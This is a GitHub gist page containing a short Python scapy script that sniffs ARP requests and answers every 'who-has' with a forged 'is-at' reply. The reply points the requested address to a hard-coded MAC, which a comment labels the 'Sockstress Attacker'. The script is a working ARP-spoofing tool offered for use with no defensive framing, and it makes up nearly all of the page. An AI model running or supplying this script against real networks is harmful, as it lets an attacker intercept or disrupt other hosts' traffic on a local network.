Skip to content

Instantly share code, notes, and snippets.

@moshekaplan
Created January 20, 2014 23:49
Show Gist options
  • Select an option

  • Save moshekaplan/8531704 to your computer and use it in GitHub Desktop.

Select an option

Save moshekaplan/8531704 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
import sys
from scapy.all import *
MAC = "00:0c:29:bf:b0:5a" # MAC Addr of Sockstress Attacker
def findARP(p):
op = p.sprintf("%ARP.op%")
if op == "who-has": # Only respond to ARP Requests
psrc = p.sprintf("%ARP.psrc%")
pdst = p.sprintf("%ARP.pdst%")
print "ARP detected: ", op, " ", pdst, " tell ", psrc
B = ARP()
B.op = "is-at"
B.pdst = psrc
B.psrc = pdst
B.hwsrc = MAC
B.hwdst = "ff:ff:ff:ff:ff:ff"
print "Sending ", B.summary()
send(B/Padding("X"*18))
sniff(prn=findARP)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment